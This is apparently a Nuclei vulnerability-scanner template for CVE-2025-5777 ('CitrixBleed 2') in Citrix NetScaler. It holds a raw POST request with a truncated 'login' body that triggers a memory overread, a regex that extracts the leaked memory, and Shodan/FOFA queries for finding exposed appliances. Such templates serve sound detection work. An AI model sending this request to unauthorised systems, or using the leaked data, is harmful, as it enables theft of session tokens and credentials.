Description
Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
id: CVE-2025-5777
info:
name: Citrix NetScaler Memory Disclosure - CitrixBleed 2
author: watchtowr,DhiyaneshDk,darses
severity: critical
description: |
Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
impact: |
Unauthenticated attackers can trigger memory overread conditions to leak sensitive information from NetScaler memory, potentially exposing session tokens and credentials similar to CitrixBleed.
remediation: |
Apply the security patches as described in Citrix support article CTX693420 and restrict access to the NetScaler Management Interface.
reference:
- https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420
- https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
classification:
cve-id: CVE-2025-5777
cwe-id: CWE-457
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
epss-score: 0.99964
epss-percentile: 0.99975
cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*,cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*,cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*,cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*
metadata:
verified: true
max-request: 1
shodan-query:
- title:"NetScaler Gateway"
- title:"NetScaler AAA"
- http.favicon.hash:-1166125415
- http.favicon.hash:-1292923998
fofa-query:
- title="NetScaler Gateway"
- title="NetScaler AAA"
- icon_hash="-1166125415"
- icon_hash="-1292923998"
tags: cve,cve2025,netscaler,citrix,exposure,kev,vkev,vuln
http:
- raw:
- |+
POST /p/u/doAuthentication.do HTTP/1.0
Host: {{Hostname}}
bleed_attack: {{iteration}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 5
login
unsafe: true
payloads:
iteration:
- "{{rand_int(1,5)}}"
extractors:
- type: regex
name: iv
part: body
group: 1
regex:
- '<InitialValue>([^<]{10,})</InitialValue>'
internal: true
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'len(iv) > 0'
- 'contains(to_lower(header), "application/vnd.citrix.authenticateresponse")'
- '!contains(body, "<InitialValue></InitialValue>")'
- '!contains(to_string(iv), "false")'
- '!contains(to_string(iv), "true")'
- '!regex("^[A-Za-z0-9+/=\\s]+$", iv)'
condition: and
# digest: 4a0a0047304502205c92fb2ba41317c04fcac635b5a0008fb3467d09f211cfdf4b08fe23f38db449022100ed8a053651f76f965b7698842b6459bcebfe45d3d33556728891b41a24655536:922c64590222798bb761d5b6d8e72950
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